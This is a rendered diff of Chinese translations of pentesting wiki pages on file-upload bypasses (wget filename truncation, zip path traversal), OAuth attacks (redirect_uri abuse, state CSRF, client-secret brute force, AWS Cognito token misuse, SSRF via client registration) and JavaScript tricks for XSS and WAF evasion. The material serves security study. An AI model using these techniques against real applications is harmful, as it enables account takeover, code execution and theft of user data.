**linux** 中,**文件名****最大** 长度为 **255**,但是 **wget** 将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件,这个文件名将 **绕过** **检查**(因为在这个例子中 **".gif"** 是一个 **有效** 扩展名),但 `wget`**重命名** 文件为 **"A"\*232+".php"**。 **linux** 中 **文件名** **最大** 长度为 **255**,但是 **wget** 将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件,这个文件名将 **绕过** **检查**(因为在这个例子中 **".gif"** 是一个 **有效** 扩展名),但 `wget`**重命名** 文件为 **"A"\*232+".php"**。
```bash ```bash
#Create file and HTTP server #Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -160,7 +160,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
## 工具 ## 工具
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具旨在帮助Pentesters和Bug Hunters测试文件上传机制。它利用各种漏洞赏金技术简化识别和利用漏洞的过程确保对Web应用程序进行全面评估。 - [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) 是一个强大的工具旨在帮助Pentesters和Bug Hunters测试文件上传机制。它利用各种漏洞赏金技术简化识别和利用漏洞的过程确保对Web应用程序进行全面评估。
## 从文件上传到其他漏洞 ## 从文件上传到其他漏洞
@ -174,9 +174,9 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
- [**通过上传svg文件的开放重定向**](../open-redirect.md#open-redirect-uploading-svg-files) - [**通过上传svg文件的开放重定向**](../open-redirect.md#open-redirect-uploading-svg-files)
- 尝试来自[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)的**不同svg有效负载**\*\*\*\* - 尝试来自[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)的**不同svg有效负载**\*\*\*\*
- [著名的**ImageTrick**漏洞](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) - [著名的**ImageTrick**漏洞](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- 如果您可以**指示Web服务器从URL获取图像**,您可以尝试利用[SSRF](../ssrf-server-side-request-forgery/index.html)。如果此**图像**将被**保存**在某个**公共**网站上,您还可以指示来自[https://iplogger.org/invisible/](https://iplogger.org/invisible/)的URL并**窃取每个访问者的信息**。 - 如果您可以**指示Web服务器从URL获取图像**,您可以尝试利用[SSRF](../ssrf-server-side-request-forgery/index.html)。如果此**图像**将被**保存**在某个**公共**网站上,您还可以指示来自[https://iplogger.org/invisible/](https://iplogger.org/invisible/)的URL并**窃取每个访问者的信息**。
- [**XXE和CORS**绕过PDF-Adobe上传](pdf-upload-xxe-and-cors-bypass.md) - [**XXE和CORS**绕过PDF-Adobe上传](pdf-upload-xxe-and-cors-bypass.md)
- 特别制作的PDF以实现XSS[以下页面展示如何**注入PDF数据以获得JS执行**](../xss-cross-site-scripting/pdf-injection.md)。如果您可以上传PDF您可以准备一些将执行任意JS的PDF按照给定的指示。 - 特别制作的PDF以实现XSS[以下页面展示如何**注入PDF数据以获得JS执行**](../xss-cross-site-scripting/pdf-injection.md)。如果您可以上传PDF您可以准备一些将执行任意JS的PDF遵循给定的指示。
- 上传\[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))内容以检查服务器是否有任何**防病毒** - 上传\[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))内容以检查服务器是否有任何**防病毒**
- 检查上传文件是否有任何**大小限制** - 检查上传文件是否有任何**大小限制**
@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
``` ```
### 在不同文件夹中解压 ### 在不同文件夹中解压
在解压过程中意外创建文件的情况是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够绕过限制,通过操纵目标应用程序的解压功能来逃离安全上传目录。 在解压过程中意外创建文件的情况是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够通过操纵目标应用程序的解压功能来绕过限制并逃离安全上传目录。
一个自动化的利用工具可以在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 找到。该工具的使用方法如下: 一个自动化的利用工具可以在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 找到。该工具的使用方法如下:
```python ```python

View File

@ -6,7 +6,7 @@
OAuth 提供了多种版本,基础信息可在 [OAuth 2.0 documentation](https://oauth.net/2/) 中获取。本讨论主要集中在广泛使用的 [OAuth 2.0 授权码授权类型](https://oauth.net/2/grant-types/authorization-code/),提供一个 **授权框架,使应用程序能够访问或在另一个应用程序中执行用户账户的操作**(授权服务器)。 OAuth 提供了多种版本,基础信息可在 [OAuth 2.0 documentation](https://oauth.net/2/) 中获取。本讨论主要集中在广泛使用的 [OAuth 2.0 授权码授权类型](https://oauth.net/2/grant-types/authorization-code/),提供一个 **授权框架,使应用程序能够访问或在另一个应用程序中执行用户账户的操作**(授权服务器)。
考虑一个假设的网站 _**https://example.com**_,旨在 **展示您所有的社交媒体帖子**,包括私人帖子。为此,采用 OAuth 2.0。_https://example.com_ 将请求您 **访问您的社交媒体帖子** 的权限。因此_https://socialmedia.com_ 上会出现一个同意屏幕,概述 **请求的权限和发起请求的开发者**。在您授权后_https://example.com_ 获得 **代表您访问您的帖子** 的能力。 考虑一个假设的网站 _**https://example.com**_,旨在 **展示您所有的社交媒体帖子**,包括私人帖子。为此,采用 OAuth 2.0。_https://example.com_ 将请求您的许可以 **访问您的社交媒体帖子**。因此_https://socialmedia.com_ 上会出现一个同意屏幕,概述 **请求的权限和发起请求的开发者**。在您授权后_https://example.com_ 获得 **代表您访问您的帖子** 的能力。
理解 OAuth 2.0 框架中的以下组件至关重要: 理解 OAuth 2.0 框架中的以下组件至关重要:
@ -15,10 +15,10 @@ OAuth 提供了多种版本,基础信息可在 [OAuth 2.0 documentation](https
- **客户端应用程序****请求 `资源拥有者` 授权的应用程序**,例如 **https://example.com** - **客户端应用程序****请求 `资源拥有者` 授权的应用程序**,例如 **https://example.com**
- **授权服务器**:在成功验证 `资源拥有者` 并获得授权后,**向 `客户端应用程序` 发放 `access tokens` 的服务器**,例如 **https://socialmedia.com** - **授权服务器**:在成功验证 `资源拥有者` 并获得授权后,**向 `客户端应用程序` 发放 `access tokens` 的服务器**,例如 **https://socialmedia.com**
- **client_id**:应用程序的公共唯一标识符。 - **client_id**:应用程序的公共唯一标识符。
- **client_secret**:仅应用程序和授权服务器知的机密密钥,用于生成 `access_tokens` - **client_secret**:仅应用程序和授权服务器知的机密密钥,用于生成 `access_tokens`
- **response_type**:指定 **请求的令牌类型** 的值,例如 `code` - **response_type**:指定 **请求的令牌类型** 的值,例如 `code`
- **scope**`客户端应用程序` 请求的 **访问级别** - **scope**`客户端应用程序` 请求的 **访问级别**
- **redirect_uri**:用户在授权后被重定向的 **URL**。这通常必须与预注册的重定向 URL 对齐 - **redirect_uri**:用户在授权后被重定向的 **URL**。这通常必须与预注册的重定向 URL 一致
- **state**:一个参数,用于 **在用户重定向到授权服务器及返回时维护数据**。其唯一性对于作为 **CSRF 保护机制** 至关重要。 - **state**:一个参数,用于 **在用户重定向到授权服务器及返回时维护数据**。其唯一性对于作为 **CSRF 保护机制** 至关重要。
- **grant_type**:指示 **授权类型和要返回的令牌类型** 的参数。 - **grant_type**:指示 **授权类型和要返回的令牌类型** 的参数。
- **code**:来自 `授权服务器` 的授权码,客户端应用程序与 `client_id``client_secret` 一起使用以获取 `access_token` - **code**:来自 `授权服务器` 的授权码,客户端应用程序与 `client_id``client_secret` 一起使用以获取 `access_token`
@ -27,10 +27,10 @@ OAuth 提供了多种版本,基础信息可在 [OAuth 2.0 documentation](https
### 流程 ### 流程
**实际的 OAuth 流程** 如下: **实际的 OAuth 流程**如下:
1. 您导航到 [https://example.com](https://example.com) 并选择“与社交媒体集成”按钮。 1. 您导航到 [https://example.com](https://example.com) 并选择“与社交媒体集成”按钮。
2. 然后该网站向 [https://socialmedia.com](https://socialmedia.com) 发送请求,请求您的授权以让 https://example.com 的应用程序访问您的帖子。请求结构 2. 然后该网站向 [https://socialmedia.com](https://socialmedia.com) 发送请求,请求您的授权以让 https://example.com 的应用程序访问您的帖子。请求结构如下
``` ```
https://socialmedia.com/auth https://socialmedia.com/auth
?response_type=code ?response_type=code
@ -39,12 +39,12 @@ https://socialmedia.com/auth
&scope=readPosts &scope=readPosts
&state=randomString123 &state=randomString123
``` ```
3. 然后您看到一个同意页面。 3. 然后您看到一个同意页面。
4. 在您批准后,社交媒体会向 `redirect_uri` 发送包含 `code``state` 参数的响应: 4. 在您批准后,社交媒体会向 `redirect_uri` 发送包含 `code``state` 参数的响应:
``` ```
https://example.com?code=uniqueCode123&state=randomString123 https://example.com?code=uniqueCode123&state=randomString123
``` ```
5. https://example.com 利用这个 `code`,连同它的 `client_id``client_secret`发起服务器端请求以代表您获取 `access_token`,从而访问您同意的权限: 5. https://example.com 利用这个 `code`,连同它的 `client_id``client_secret`向服务器发起请求以代表您获取 `access_token`,从而访问您同意的权限:
``` ```
POST /oauth/access_token POST /oauth/access_token
Host: socialmedia.com Host: socialmedia.com
@ -56,9 +56,9 @@ Host: socialmedia.com
### 开放的 redirect_uri <a href="#cc36" id="cc36"></a> ### 开放的 redirect_uri <a href="#cc36" id="cc36"></a>
`redirect_uri` 对于 OAuth 和 OpenID 实现的安全性至关重要,因为它指示在授权后敏感数据(如授权代码)发送到何处。如果配置错误,可能会允许攻击者将这些请求重定向到恶意服务器,从而实现账户接管。 `redirect_uri` 在 OAuth 和 OpenID 实现中对安全性至关重要,因为它指示在授权后敏感数据(如授权代码)发送到何处。如果配置错误,可能会允许攻击者将这些请求重定向到恶意服务器,从而实现账户接管。
利用技术根据授权服务器的验证逻辑而异。它们可以从严格的路径匹配到接受指定域或子目录内的任何 URL。常见的利用方法包括开放重定向、路径遍历、利用弱正则表达式和 HTML 注入进行令牌窃 利用技术根据授权服务器的验证逻辑而异。它们可以从严格的路径匹配到接受指定域或子目录内的任何 URL。常见的利用方法包括开放重定向、路径遍历、利用弱正则表达式和 HTML 注入进行令牌窃。
除了 `redirect_uri`,其他 OAuth 和 OpenID 参数如 `client_uri``policy_uri``tos_uri``initiate_login_uri` 也容易受到重定向攻击。这些参数是可选的,其支持在不同服务器之间有所不同。 除了 `redirect_uri`,其他 OAuth 和 OpenID 参数如 `client_uri``policy_uri``tos_uri``initiate_login_uri` 也容易受到重定向攻击。这些参数是可选的,其支持在不同服务器之间有所不同。
@ -72,11 +72,11 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
``` ```
### CSRF - 不当处理状态参数 <a href="#bda5" id="bda5"></a> ### CSRF - 不当处理状态参数 <a href="#bda5" id="bda5"></a>
在OAuth实现中**`state`参数**的误用或遗漏会显著增加**跨站请求伪造CSRF**攻击的风险。当`state`参数**未使用、作为静态值使用或未正确验证**时,就会出现此漏洞,从而允许攻击者绕过CSRF保护。 在OAuth实现中**`state`参数**的误用或遗漏会显著增加**跨站请求伪造CSRF**攻击的风险。当`state`参数**未使用、作为静态值使用或未正确验证**时,攻击者可以绕过CSRF保护。
攻击者可以通过拦截授权过程,将他们的账户与受害者的账户链接,从而导致潜在的**账户接管**。在使用OAuth进行**身份验证**的应用程序中,这尤其关键。 攻击者可以通过拦截授权过程,将他们的账户与受害者的账户链接,从而导致潜在的**账户接管**。在使用OAuth进行**身份验证**的应用程序中,这一点尤其关键。
在各种**CTF挑战**和**黑客平台**中记录了此漏洞的真实案例,突显了其实际影响。该问题还扩展到与第三方服务的集成,如**Slack**、**Stripe**和**PayPal**,攻击者可以将通知或付款重定向到他们的账户。 在各种**CTF挑战**和**黑客平台**中,已经记录了此漏洞的真实案例,突显了其实际影响。该问题还扩展到与第三方服务的集成,如**Slack**、**Stripe**和**PayPal**,攻击者可以将通知或付款重定向到他们的账户。
正确处理和验证**`state`参数**对于防范CSRF和保护OAuth流程至关重要。 正确处理和验证**`state`参数**对于防范CSRF和保护OAuth流程至关重要。
@ -87,9 +87,9 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
### 秘密泄露 <a href="#e177" id="e177"></a> ### 秘密泄露 <a href="#e177" id="e177"></a>
识别和保护秘密OAuth参数至关重要。虽然**`client_id`**可以安全披露,但泄露**`client_secret`**会带来重大风险。如果`client_secret`被泄露,攻击者可以利用应用程序的身份和信任来**窃取用户的`access_tokens`**和私人信息。 识别和保护秘密OAuth参数至关重要。虽然**`client_id`**可以安全披露,但泄露**`client_secret`**会带来重大风险。如果`client_secret`被泄露,攻击者可以利用应用程序的身份和信任来**窃取用户的`access_tokens`**和私人信息。
一个常见的漏洞出现在应用程序错误地在客户端而非服务器端处理授权`code``access_token`的交换时。这个错误导致`client_secret`的暴露,使攻击者能够以应用程序的名义生成`access_tokens`。此外通过社会工程学攻击者可以通过向OAuth授权添加额外的范围来提升权限进一步利用应用程序的信任状态。 一个常见的漏洞出现在应用程序错误地在客户端而非服务器端处理授权`code``access_token`的交换。这一错误导致`client_secret`的暴露,使攻击者能够以应用程序的名义生成`access_tokens`。此外通过社会工程学攻击者可以通过向OAuth授权添加额外的范围来提升权限进一步利用应用程序的信任状态。
### 客户端密钥暴力破解 ### 客户端密钥暴力破解
@ -106,11 +106,11 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
``` ```
### Referer Header leaking Code + State ### Referer Header leaking Code + State
一旦客户端拥有了 **code 和 state**,如果它们在浏览到不同页面时 **反映在 Referer 头中**,那么就存在漏洞。 一旦客户端拥有了 **code 和 state**,如果它们在用户浏览到不同页面时 **反映在 Referer 头中**,那么就存在漏洞。
### Access Token Stored in Browser History ### Access Token Stored in Browser History
前往 **浏览器历史记录检查访问令牌是否保存在其中**。 前往 **浏览器历史记录检查访问令牌是否保存在其中**。
### Everlasting Authorization Code ### Everlasting Authorization Code
@ -126,7 +126,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
### AWS Cognito <a href="#bda5" id="bda5"></a> ### AWS Cognito <a href="#bda5" id="bda5"></a>
在这个漏洞赏金报告中:[**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) 你可以看到 **AWS Cognito** 返回给用户的 **token** 可能具有 **足够的权限来覆盖用户数据**。因此,如果你可以 **将用户邮箱更改为其他用户邮箱**,你可能能够 **接管** 其他账户。 在这个漏洞赏金报告中:[**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) 你可以看到 **AWS Cognito** 返回给用户的 **令牌** 可能具有 **足够的权限来覆盖用户数据**。因此,如果你可以 **将用户电子邮件更改为其他用户的电子邮件**,你可能能够 **接管** 其他账户。
```bash ```bash
# Read info of the user # Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...] aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@ -146,49 +146,49 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
对于如何滥用 AWS cognito 的更详细信息,请查看: 对于如何滥用 AWS cognito 的更详细信息,请查看:
{{#ref}} {{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.html
{{#endref}} {{#endref}}
### 滥用其他应用程序令牌 <a href="#bda5" id="bda5"></a> ### 滥用其他应用程序令牌 <a href="#bda5" id="bda5"></a>
正如 [**在这篇文章中提到的**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts),期望接收 **令牌**(而不是代码)的 OAuth 流程可能会受到攻击,如果它们没有检查令牌是否属于该应用程序。 正如 [**在这篇文章中提到的**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts),期望接收 **token**(而不是代码)的 OAuth 流程可能会受到攻击,如果它们没有检查该 token 是否属于该应用程序。
这是因为 **攻击者** 可以创建一个 **支持 OAuth 的应用程序并使用 Facebook 登录**(例如)在他自己的应用程序中。然后,一旦受害者在 **攻击者的应用程序** 中使用 Facebook 登录,攻击者就可以获取 **分配给他应用程序的用户的 OAuth 令牌,并使用它在受害者的 OAuth 应用程序中登录,使用受害者的用户令牌**。 这是因为 **攻击者** 可以在自己的应用程序中创建一个 **支持 OAuth 并使用 Facebook 登录的应用程序**(例如)。然后,一旦受害者在 **攻击者的应用程序** 中使用 Facebook 登录,攻击者就可以获取 **分配给其应用程序的用户的 OAuth token并使用它在受害者的 OAuth 应用程序中登录,使用受害者的用户 token**。
> [!CAUTION] > [!CAUTION]
> 因此,如果攻击者设法让用户访问自己的 OAuth 应用程序,他将能够在期望令牌且未检查令牌是否授予其应用程序 ID 的应用程序中接管受害者的帐户。 > 因此,如果攻击者设法让用户访问自己的 OAuth 应用程序,他将能够在期望 token 且未检查 token 是否授予其应用程序 ID 的应用程序中接管受害者的帐户。
### 两个链接和 cookie <a href="#bda5" id="bda5"></a> ### 两个链接和 cookie <a href="#bda5" id="bda5"></a>
根据 [**这篇文章**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f),可以让受害者打开一个 **returnUrl** 指向攻击者主机的页面。这些信息将被 **存储在 cookie (RU)** 中,并且在 **后续步骤** 中,**提示** 将 **询问** **用户** 是否希望授予对该攻击者主机的访问权限。 根据 [**这篇文章**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f),可以让受害者打开一个指向攻击者主机的 **returnUrl** 的页面。此信息将被 **存储在 cookie (RU)** 中,并且在 **后续步骤** 中,**提示** 将 **询问** **用户** 是否希望授予对该攻击者主机的访问权限。
为了绕过此提示,可以打开一个选项卡以启动 **Oauth 流程**,该流程将使用 **returnUrl** 设置此 RU cookie在提示显示之前关闭选项卡然后打开一个没有该值的新选项卡。然后**提示不会通知攻击者主机**,但 cookie 将被设置为它,因此 **令牌将被发送到攻击者主机** 进行重定向 为了绕过此提示,可以打开一个选项卡以启动 **Oauth 流程**,该流程将使用 **returnUrl** 设置此 RU cookie在提示显示之前关闭选项卡然后打开一个没有该值的新选项卡。然后**提示不会通知攻击者主机**,但 cookie 将被设置为它,因此 **token 将在重定向中发送到攻击者的主机**
### 提示交互绕过 <a href="#bda5" id="bda5"></a> ### 提示交互绕过 <a href="#bda5" id="bda5"></a>
正如 [**在这段视频中解释的**](https://www.youtube.com/watch?v=n9x7_J_a_7Q),某些 OAuth 实现允许将 **`prompt`** GET 参数指示为 None (**`&prompt=none`**) 以 **防止用户在已登录平台时被要求确认** 在网页授予的访问权限。 正如 [**在这段视频中解释的**](https://www.youtube.com/watch?v=n9x7_J_a_7Q),某些 OAuth 实现允许将 **`prompt`** GET 参数指示为 None (**`&prompt=none`**) 以 **防止用户在已登录平台时被要求确认** 在网页授予的访问权限。
### response_mode ### response_mode
正如 [**在这段视频中解释的**](https://www.youtube.com/watch?v=n9x7_J_a_7Q),可能可以指示参数 **`response_mode`** 来指示您希望在最终 URL 中提供代码的位置: 正如 [**在这段视频中解释的**](https://www.youtube.com/watch?v=n9x7_J_a_7Q),可能可以指示参数 **`response_mode`** 来指示您希望在最终 URL 中提供代码的位置:
- `response_mode=query` -> 代码通过 GET 参数提供: `?code=2397rf3gu93f` - `response_mode=query` -> 代码在 GET 参数中提供: `?code=2397rf3gu93f`
- `response_mode=fragment` -> 代码通过 URL 片段参数提供 `#code=2397rf3gu93f` - `response_mode=fragment` -> 代码在 URL 片段参数中提供 `#code=2397rf3gu93f`
- `response_mode=form_post` -> 代码通过一个名为 `code` 的 POST 表单提供,并包含该 - `response_mode=form_post` -> 代码在一个名为 `code` 的 POST 表单中提供,并带有
- `response_mode=web_message` -> 代码通过消息发送: `window.opener.postMessage({"code": "asdasdasd...` - `response_mode=web_message` -> 代码通过 post 消息发送: `window.opener.postMessage({"code": "asdasdasd...`
### OAuth ROPC 流程 - 2 FA 绕过 <a href="#b440" id="b440"></a> ### OAuth ROPC 流程 - 2 FA 绕过 <a href="#b440" id="b440"></a>
根据 [**这篇博客文章**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96),这是一个允许通过 **用户名****密码** 登录 OAuth 的 OAuth 流程。如果在这个简单流程中返回一个 **令牌**,该令牌具有用户可以执行的所有操作的访问权限,那么就可以使用该令牌绕过 2FA。 根据 [**这篇博客文章**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96),这是一个允许通过 **用户名****密码** 登录 OAuth 的 OAuth 流程。如果在这个简单流程中返回一个具有用户可以执行的所有操作的访问权限**token**,那么就可以使用该 token 绕过 2FA。
### 基于开放重定向到引荐的网页重定向 ATO <a href="#bda5" id="bda5"></a> ### 基于开放重定向到引荐的网页重定向 ATO <a href="#bda5" id="bda5"></a>
这篇 [**博客文章**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) 评论了如何**开放重定向****引荐** 的值来滥用 OAuth 进行 ATO。攻击步骤如下 这篇 [**博客文章**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) 评论了如何**开放重定向****引荐** 的值来滥用 OAuth 进行 ATO。攻击步骤如下
1. 受害者访问攻击者的网页 1. 受害者访问攻击者的网页
2. 受害者打开恶意链接,打开者使用 `response_type=id_token,code&prompt=none` 作为附加参数启动 Google OAuth 流程,**引荐为攻击者网站**。 2. 受害者打开恶意链接,打开者使用 `response_type=id_token,code&prompt=none` 作为附加参数启动 Google OAuth 流程,**引荐为攻击者网站**。
3. 在打开者中,提供者在授权受害者后,将他们发送回 `redirect_uri` 参数的值(受害者网站),并使用 30X 代码,这仍然保持攻击者网站在引荐中。 3. 在打开者中,提供者在授权受害者后,将他们发送回 `redirect_uri` 参数的值(受害者网站),并带有 30X 代码,这仍然保持攻击者网站在引荐中。
4. 受害者 **网站根据引荐触发开放重定向**,将受害者用户重定向到攻击者网站,因为 **`respose_type`** 是 **`id_token,code`**,代码将通过 URL 的 **片段** 返回给攻击者,从而允许他通过 Google 在受害者网站上接管用户的帐户。 4. 受害者 **网站根据引荐触发开放重定向**,将受害者用户重定向到攻击者网站,因为 **`respose_type`** 是 **`id_token,code`**,代码将通过 URL 的 **片段** 返回给攻击者,从而使他能够通过 Google 在受害者网站上接管用户的帐户。
### SSRFs 参数 <a href="#bda5" id="bda5"></a> ### SSRFs 参数 <a href="#bda5" id="bda5"></a>
@ -198,10 +198,10 @@ OAuth 中的动态客户端注册作为一个不太明显但关键的安全漏
**关键点:** **关键点:**
- **动态客户端注册** 通常映射到 `/register`,并接受如 `client_name``client_secret``redirect_uris` 和通过 POST 请求的徽标或 JSON Web 密钥集 (JWKs) 的 URL 等详细信息。 - **动态客户端注册** 通常映射到 `/register`,并接受如 `client_name``client_secret``redirect_uris` 和通过 POST 请求的 logo 或 JSON Web Key Sets (JWKs) 的 URL 等详细信息。
- 此功能遵循 **RFC7591****OpenID Connect Registration 1.0** 中列出的规范,其中包括可能对 SSRF 易受攻击的参数。 - 此功能遵循 **RFC7591****OpenID Connect Registration 1.0** 中列出的规范,其中包括可能对 SSRF 易受攻击的参数。
- 注册过程可能会以多种方式无意中使服务器暴露于 SSRF - 注册过程可能会以多种方式无意中使服务器暴露于 SSRF
- **`logo_uri`**:客户端应用程序徽标的 URL服务器可能会获取该 URL从而触发 SSRF 或导致 XSS如果 URL 处理不当)。 - **`logo_uri`**:客户端应用程序 logo 的 URL服务器可能会获取该 URL从而触发 SSRF 或导致 XSS如果 URL 处理不当)。
- **`jwks_uri`**:客户端的 JWK 文档的 URL如果恶意构造可能导致服务器向攻击者控制的服务器发出外部请求。 - **`jwks_uri`**:客户端的 JWK 文档的 URL如果恶意构造可能导致服务器向攻击者控制的服务器发出外部请求。
- **`sector_identifier_uri`**:引用 `redirect_uris` 的 JSON 数组,服务器可能会获取该数组,从而创建 SSRF 机会。 - **`sector_identifier_uri`**:引用 `redirect_uris` 的 JSON 数组,服务器可能会获取该数组,从而创建 SSRF 机会。
- **`request_uris`**:列出客户端允许的请求 URI如果服务器在授权过程开始时获取这些 URI则可能被利用。 - **`request_uris`**:列出客户端允许的请求 URI如果服务器在授权过程开始时获取这些 URI则可能被利用。
@ -209,11 +209,11 @@ OAuth 中的动态客户端注册作为一个不太明显但关键的安全漏
**利用策略:** **利用策略:**
- 通过在 `logo_uri``jwks_uri``sector_identifier_uri` 等参数中注册带有恶意 URL 的新客户端,可以触发 SSRF。 - 通过在 `logo_uri``jwks_uri``sector_identifier_uri` 等参数中注册带有恶意 URL 的新客户端,可以触发 SSRF。
- 尽管通过白名单控制可能会减轻直接通过 `request_uris` 的利用,但提供一个预注册的、攻击者控制的 `request_uri` 可以在授权阶段促进 SSRF。 - 尽管通过白名单控制可能会减轻直接通过 `request_uris` 的利用,但提供一个预注册的、攻击者控制的 `request_uri` 可以在授权阶段促进 SSRF。
## OAuth 提供者竞争条件 ## OAuth 提供者竞争条件
如果您正在测试的平台是 OAuth 提供者 [**请阅读此以测试可能的竞争条件**](race-condition.md)。 如果您正在测试的平台是 OAuth 提供者 [**请阅读此内容以测试可能的竞争条件**](race-condition.md)。
## 参考文献 ## 参考文献

View File

@ -110,7 +110,7 @@ console.log(log) //34,39,47,96
``` ```
### **Surrogate Pairs BF** ### **Surrogate Pairs BF**
这个技术对于 XSS 并不是很有用,但它可能有助于绕过 WAF 保护。这个 Python 代码接收 2 字节作为输入,并搜索一个代理对,其中第一个字节是高代理对的最后一个字节,最后一个字节是低代理对的最后一个字节。 这个技术对于 XSS 并不是很有用,但它可能对绕过 WAF 保护有帮助。这个 Python 代码接收 2 字节作为输入,并搜索一个代理对,其中第一个字节是高代理对的最后一个字节,最后一个字节是低代理对的最后一个字节。
```python ```python
def unicode(findHex): def unicode(findHex):
for i in range(0,0xFFFFF): for i in range(0,0xFFFFF):
@ -121,6 +121,11 @@ l = chr(int(L[-2:],16))
if(h == findHex[0]) and (l == findHex[1]): if(h == findHex[0]) and (l == findHex[1]):
print(H.replace("0x","\\u")+L.replace("0x","\\u")) print(H.replace("0x","\\u")+L.replace("0x","\\u"))
``` ```
更多信息:
- [https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md](https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md)
- [https://mathiasbynens.be/notes/javascript-unicode](https://mathiasbynens.be/notes/javascript-unicode) [https://mathiasbynens.be/notes/javascript-encoding](https://mathiasbynens.be/notes/javascript-encoding)
### `javascript{}:` 协议模糊测试 ### `javascript{}:` 协议模糊测试
```javascript ```javascript
// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition. // Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition.
@ -152,7 +157,7 @@ document.body.append(anchor)
a = document.createElement("a") a = document.createElement("a")
log = [] log = []
for (let i = 0; i <= 0x10ffff; i++) { for (let i = 0; i <= 0x10ffff; i++) {
a.href = `${String.fromCodePoint(i)}https://hacktricks.xyz` a.href = `${String.fromCodePoint(i)}https://hacktricks.wiki`
if (a.hostname === "hacktricks.xyz") { if (a.hostname === "hacktricks.xyz") {
log.push(i) log.push(i)
} }
@ -274,9 +279,9 @@ return a + 1
//Arrow //Arrow
plusone = (a) => a + 100 plusone = (a) => a + 100
``` ```
### Bind 函数 ### Bind function
bind 函数允许创建一个 **函数的副本**,修改 **`this`** 对象和给定的 **参数**。 bind 函数允许创建一个 **copy** 的 **function modifying** **`this`** 对象和给定的 **parameters**。
```javascript ```javascript
//This will use the this object and print "Hello World" //This will use the this object and print "Hello World"
var fn = function (param1, param2) { var fn = function (param1, param2) {
@ -301,11 +306,11 @@ var bindFn_this = fn.bind(this, "fixingparam1")
bindFn_change("Hello", "World") bindFn_change("Hello", "World")
``` ```
> [!NOTE] > [!NOTE]
> 请注意,使用 **`bind`** 可以操纵在调用函数时将要使用的 **`this`** 对象。 > 注意使用 **`bind`** 可以操控在调用函数时将要使用的 **`this`** 对象。
### 函数代码泄 ### 函数代码泄
如果您可以 **访问函数的对象**,则可以 **获取该函数的代码** 如果你可以 **访问一个函数的对象**,你可以 **获取该函数的代码**
```javascript ```javascript
function afunc() { function afunc() {
return 1 + 1 return 1 + 1
@ -323,7 +328,7 @@ return arguments.callee.toString()
return arguments[0] return arguments[0]
})("arg0") })("arg0")
``` ```
一些**随机**方法来**提取函数**的代码(甚至注释)从另一个函数: 一些**随机**方法来**提取代码**(甚至注释)从另一个函数:
```javascript ```javascript
;(function () { ;(function () {
return (retFunc) => String(arguments[0]) return (retFunc) => String(arguments[0])
@ -343,7 +348,7 @@ return String(this)
/* Hidden commment */ /* Hidden commment */
})() })()
``` ```
## 沙箱逃逸 - 恢复窗口对象 ## Sandbox Escape - 恢复 window 对象
Window 对象允许访问全局定义的函数,如 alert 或 eval。 Window 对象允许访问全局定义的函数,如 alert 或 eval。
```javascript ```javascript

View File

@ -6,10 +6,10 @@
